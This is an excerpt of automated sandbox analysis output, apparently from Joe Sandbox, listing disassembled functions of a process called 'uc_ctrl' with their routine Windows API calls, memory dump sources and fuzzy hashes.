                                                                                              Function 6CF0A9E2 Relevance: 12.1, APIs: 8, Instructions: 87COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • dllmain_raw.LIBCMT ref: 6CF0AA0C
                                                                                              • dllmain_crt_dispatch.LIBCMT ref: 6CF0AA23
                                                                                              • __telemetry_main_invoke_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,6CF13AA0,0000000C,6CF0AB3C,?,00000001,?), ref: 6CF0AA3B
                                                                                              • dllmain_crt_dispatch.LIBCMT ref: 6CF0AA68
                                                                                              • dllmain_raw.LIBCMT ref: 6CF0AA72
                                                                                              • __telemetry_main_return_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,?,00000001,?,6CF13AA0,0000000C,6CF0AB3C,?,00000001,?), ref: 6CF0AA85
                                                                                              • dllmain_crt_dispatch.LIBCMT ref: 6CF0AA99
                                                                                              • dllmain_raw.LIBCMT ref: 6CF0AAAC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: dllmain_crt_dispatchdllmain_raw$__telemetry_main_invoke_trigger__telemetry_main_return_trigger
                                                                                              • String ID:
                                                                                              • API String ID: 2136405172-0
                                                                                              • Opcode ID: b8e1264ae0be85a93f43022eb7ffeb73cf143fea29cb9c59ee1645af84aa37dd
                                                                                              • Instruction ID: 3a7301512df5595c8b92ee4e97e22dea4d7078024487ceaed064e0054d161b68
                                                                                              • Opcode Fuzzy Hash: b8e1264ae0be85a93f43022eb7ffeb73cf143fea29cb9c59ee1645af84aa37dd
                                                                                              • Instruction Fuzzy Hash: D621F472F01616EBCB25DE658E61DAF3AF9AF44F68B154508FD2127A80C734C811BBA0
                                                                                              Function 6CF923F3 Relevance: 12.1, APIs: 8, Instructions: 78COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RealChildWindowFromPoint.USER32(?,?,?), ref: 6CF92417
                                                                                              • ClientToScreen.USER32(?,?), ref: 6CF92432
                                                                                              • GetWindow.USER32(?,00000005), ref: 6CF9243B
                                                                                              • GetDlgCtrlID.USER32(00000000), ref: 6CF9244B
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 6CF9245B
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CF92479
                                                                                              • PtInRect.USER32(?,?,?), ref: 6CF92489
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF92498
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$ChildClientCtrlFromLongPointRealScreen
                                                                                              • String ID:
                                                                                              • API String ID: 151369081-0
                                                                                              • Opcode ID: e3cbc74194e04ea69717259dca090a840871c4e6a748b3c8acf265a8966755f9
                                                                                              • Instruction ID: 0a010a529c273dcba7e3076435951bc24a6ea5788bda0f90b8a7a0eae95f7833
                                                                                              • Opcode Fuzzy Hash: e3cbc74194e04ea69717259dca090a840871c4e6a748b3c8acf265a8966755f9
                                                                                              • Instruction Fuzzy Hash: 6521747190161AABDF11CFA9DC48BAFBBB8FF09710B204129F914E3240D73499018B91
                                                                                              Function 00106610 Relevance: 12.1, APIs: 8, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,001051B0,00000000,?,?,?,?,?,?,?,00000000,?,?,80070057), ref: 00106628
                                                                                              • _invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,001051B0,00000000,?,?,?,?,?,?,?,00000000,?,?,80070057), ref: 00106634
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _errno_invalid_parameter_noinfo
                                                                                              • String ID:
                                                                                              • API String ID: 2959964966-0
                                                                                              • Opcode ID: 40b259ceba4820781ebab5aeed9093a087f8219ba2149c180bc263d3c9ec4ee0
                                                                                              • Instruction ID: 1de94d8678264320ff7f15fc2c45abfceaef66034952507276c5c02fa80cf533
                                                                                              • Opcode Fuzzy Hash: 40b259ceba4820781ebab5aeed9093a087f8219ba2149c180bc263d3c9ec4ee0
                                                                                              • Instruction Fuzzy Hash: 340184732002145FEB212BDDFC4479AB79CEFA9775F010036F64CC6650CBF648618661
                                                                                              Function 6CFBFB37 Relevance: 12.1, APIs: 8, Instructions: 65COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSystemMetrics.USER32(00000031), ref: 6CFBFB45
                                                                                              • GetSystemMetrics.USER32(00000032), ref: 6CFBFB53
                                                                                              • SetRectEmpty.USER32(?), ref: 6CFBFB66
                                                                                              • EnumDisplayMonitors.USER32(00000000,00000000,6CFBF9CB,?,?,00000000,6CFBFAF8), ref: 6CFBFB76
                                                                                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 6CFBFB85
                                                                                              • SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 6CFBFBB2
                                                                                              • SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 6CFBFBC6
                                                                                              • SystemParametersInfoW.USER32 ref: 6CFBFBEC
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: System$InfoParameters$Metrics$DisplayEmptyEnumMonitorsRect
                                                                                              • String ID:
                                                                                              • API String ID: 2614369430-0
                                                                                              • Opcode ID: 35ab5d145617c51a2b5639a64be05490d0d9b5032bb097ade294ac1411eab6c3
                                                                                              • Instruction ID: 021c087b9f35ec48ea451ef9d2b1ebe4bf2380ff08d7a5c613351f9fe2cb92c5
                                                                                              • Opcode Fuzzy Hash: 35ab5d145617c51a2b5639a64be05490d0d9b5032bb097ade294ac1411eab6c3
                                                                                              • Instruction Fuzzy Hash: 132138B4201216BFEB448F718848BE7FABCFF0A765F104129E989D6140D7B46891CBA1
                                                                                              Function 6CF8AACA Relevance: 12.1, APIs: 8, Instructions: 61memorystringCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CF8AADE
                                                                                              • lstrcmpW.KERNEL32(00000000,?), ref: 6CF8AAEF
                                                                                              • OpenPrinterW.WINSPOOL.DRV(?,?,00000000), ref: 6CF8AB04
                                                                                              • DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6CF8AB24
                                                                                              • GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6CF8AB2C
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CF8AB36
                                                                                              • DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 6CF8AB47
                                                                                              • ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 6CF8AB5F
                                                                                                • Part of subcall function 6CF9210F: GlobalFlags.KERNEL32(?), ref: 6CF9211C
                                                                                                • Part of subcall function 6CF9210F: GlobalUnlock.KERNEL32(?,?,6D1CA734,?,6CFC7A20,6D1CA734,6D0F6178,?,?,6CFEFA72,6CFC07E2,00000000), ref: 6CF9212A
                                                                                                • Part of subcall function 6CF9210F: GlobalFree.KERNEL32(?), ref: 6CF92136
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
                                                                                              • String ID:
                                                                                              • API String ID: 168474834-0
                                                                                              • Opcode ID: c08e39faf1d06f6cde6d1adc666aff8d21b23070f3c46ed634fe7922c290649a
                                                                                              • Instruction ID: 66ee7d4d661e3c7216fa84bb84d5d38458287d2525d39832d72ca15d6c806a9b
                                                                                              • Opcode Fuzzy Hash: c08e39faf1d06f6cde6d1adc666aff8d21b23070f3c46ed634fe7922c290649a
                                                                                              • Instruction Fuzzy Hash: DA118FB1501608BFEF129FA0CD45EABBAFDEF04A88B111529FA0191870DB719D60EB21
                                                                                              Function 6CF90215 Relevance: 12.0, APIs: 8, Instructions: 50memoryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Size$LockUnlock$Alloc
                                                                                              • String ID:
                                                                                              • API String ID: 2344174106-0
                                                                                              • Opcode ID: 5f3cf4e2ecea6a2a9edb6a89ea2fd2c22ea8dc050e3b42de2979cce7a8b41485
                                                                                              • Instruction ID: 578f64b959691f7201927db997e78ea0d346146a55435d02002db6128f03521e
                                                                                              • Opcode Fuzzy Hash: 5f3cf4e2ecea6a2a9edb6a89ea2fd2c22ea8dc050e3b42de2979cce7a8b41485
                                                                                              • Instruction Fuzzy Hash: 76017171600259BBEF00EFA5AC8CE5B7B7CEB4E6B17144124FD0996211DFB28C048762
                                                                                              Function 6CF9DBAD Relevance: 12.0, APIs: 8, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetSystemMetrics.USER32(0000000B), ref: 6CF9DBB3
                                                                                              • GetSystemMetrics.USER32(0000000C), ref: 6CF9DBBE
                                                                                              • GetSystemMetrics.USER32(00000002), ref: 6CF9DBC9
                                                                                              • GetSystemMetrics.USER32(00000003), ref: 6CF9DBD7
                                                                                              • GetDC.USER32(00000000), ref: 6CF9DBE5
                                                                                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 6CF9DBF0
                                                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 6CF9DBFC
                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 6CF9DC08
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MetricsSystem$CapsDevice$Release
                                                                                              • String ID:
                                                                                              • API String ID: 1151147025-0
                                                                                              • Opcode ID: 58f1d2ab86f9192f4e47c1e08d57bb724074c6da5b39b49c7b36f4880c9f75e3
                                                                                              • Instruction ID: fd44dfaa6e2e0401f7eb7444a8bf60ac8d6e284b6bec83f61cee52a4914adfd1
                                                                                              • Opcode Fuzzy Hash: 58f1d2ab86f9192f4e47c1e08d57bb724074c6da5b39b49c7b36f4880c9f75e3
                                                                                              • Instruction Fuzzy Hash: A5F01271940700BBDB149F71E85DB4A7F74FB4BF22F108515FA12CA180DBB594818F81
                                                                                              Function 00104810 Relevance: 10.7, APIs: 7, Instructions: 232COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • wcsstr.VCRUNTIME140(?,?,?,?,?), ref: 00104895
                                                                                              • wcsstr.VCRUNTIME140(?,?), ref: 001048AA
                                                                                              • wcsstr.VCRUNTIME140(?,?), ref: 00104954
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: wcsstr
                                                                                              • String ID:
                                                                                              • API String ID: 2735924446-0
                                                                                              • Opcode ID: 0069b8911fc2625cc2962572240d3c40f0eac1f6e070df6d7dbe5b858db5aac5
                                                                                              • Instruction ID: f4252a62e79a93f13d61ef0d71ae163656eed2fd49a4268436dfbb9b38dcea79
                                                                                              • Opcode Fuzzy Hash: 0069b8911fc2625cc2962572240d3c40f0eac1f6e070df6d7dbe5b858db5aac5
                                                                                              • Instruction Fuzzy Hash: BB71C275E0021ADFCF14DFA8C9C05AEB7B5FF98304B158569DE86A7254E7B0AE10CB90
                                                                                              Function 6D02C553 Relevance: 10.7, APIs: 7, Instructions: 174windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6D02C55D
                                                                                                • Part of subcall function 6D05A1DF: __EH_prolog3.LIBCMT ref: 6D05A1E6
                                                                                              • GetMenuItemCount.USER32(?), ref: 6D02C5C1
                                                                                              • GetMenuItemID.USER32(?,00000000), ref: 6D02C5DB
                                                                                              • GetMenuItemCount.USER32(?), ref: 6D02C629
                                                                                              • GetMenuItemID.USER32(00000000,00000000), ref: 6D02C65B
                                                                                              • SendMessageW.USER32(?,00000234,00000000,00000000), ref: 6D02C6C0
                                                                                              • GetMenuState.USER32(00000001,00000000,00000400), ref: 6D02C723
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Menu$Item$Count$H_prolog3H_prolog3_MessageSendState
                                                                                              • String ID:
                                                                                              • API String ID: 999183886-0
                                                                                              • Opcode ID: d63bb9d95229d208008e4af54d02092a7db023a3b9bf2ea5f6a28c25284be2c0
                                                                                              • Instruction ID: eef6317c007d6e9783eab641f1fd5ede2fa7405ba8c0a91e74a3e863c2de1319
                                                                                              • Opcode Fuzzy Hash: d63bb9d95229d208008e4af54d02092a7db023a3b9bf2ea5f6a28c25284be2c0
                                                                                              • Instruction Fuzzy Hash: C56174709012279BEF25DF24CC44BFDB6B4BF09318F1042A9E929A72D0DB709A85CF44
                                                                                              Function 6D0D82D7 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,6D0D8A4C,00000000,00000000,00000000,00000000,00000000,6D0C82D9), ref: 6D0D8319
                                                                                              • __fassign.LIBCMT ref: 6D0D8394
                                                                                              • __fassign.LIBCMT ref: 6D0D83AF
                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 6D0D83D5
                                                                                              • WriteFile.KERNEL32(?,00000000,00000000,6D0D8A4C,00000000,?,?,?,?,?,?,?,?,?,6D0D8A4C,00000000), ref: 6D0D83F4
                                                                                              • WriteFile.KERNEL32(?,00000000,00000001,6D0D8A4C,00000000,?,?,?,?,?,?,?,?,?,6D0D8A4C,00000000), ref: 6D0D842D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                              • String ID:
                                                                                              • API String ID: 1324828854-0
                                                                                              • Opcode ID: 5017fca7454a77d85915fa1127ec1449599b8d39153ff0e615f066a629625f38
                                                                                              • Instruction ID: 647680d272c3b27ee41190acf588f37f302f3ff964de4c754afa65c00f359a4b
                                                                                              • Opcode Fuzzy Hash: 5017fca7454a77d85915fa1127ec1449599b8d39153ff0e615f066a629625f38
                                                                                              • Instruction Fuzzy Hash: B75172B1A002499FEB10CFA8D841BEEBBF9EF0E310F14911BE955E7291D7709941CBA1
                                                                                              Function 00107590 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 0010766E
                                                                                              • memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 0010767E
                                                                                              • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 001076C9
                                                                                              • memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 001076D1
                                                                                              • memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 001076DF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: memcpy$_invalid_parameter_noinfo_noreturn
                                                                                              • String ID: \config\config.ini
                                                                                              • API String ID: 2665656946-1549633339
                                                                                              • Opcode ID: 49389d5f46425cd9763e667bb32f79803f51cf79b9867beb78345d67d69e6c07
                                                                                              • Instruction ID: 321a0dc67706163be81bde8fd02b6e1e0986094a00586d4a83e56b07df7ae32d
                                                                                              • Opcode Fuzzy Hash: 49389d5f46425cd9763e667bb32f79803f51cf79b9867beb78345d67d69e6c07
                                                                                              • Instruction Fuzzy Hash: 46410472E045189FCB14DF6CDC818AEB7A5EF88310B11466AE492D72D1DBB1EA118B91
                                                                                              Function 6CEECF90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_
                                                                                              • String ID:
                                                                                              • API String ID: 2427045233-3916222277
                                                                                              • Opcode ID: 4d56cab4295885463c1a264f09b3c19a8eac10d4d0e3c387c73acc338ed95da1
                                                                                              • Instruction ID: 4046ee939d17344f0610ced9caf9d29a62d6246d913054294c4f5d7a7e220613
                                                                                              • Opcode Fuzzy Hash: 4d56cab4295885463c1a264f09b3c19a8eac10d4d0e3c387c73acc338ed95da1
                                                                                              • Instruction Fuzzy Hash: 4951A33AA002059FDF24CF54C490AEDB7F2FF8D368F684519E541A7B80DB71AA46CB51
                                                                                              Function 6CEF2E20 Relevance: 10.6, APIs: 7, Instructions: 134COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF2E27
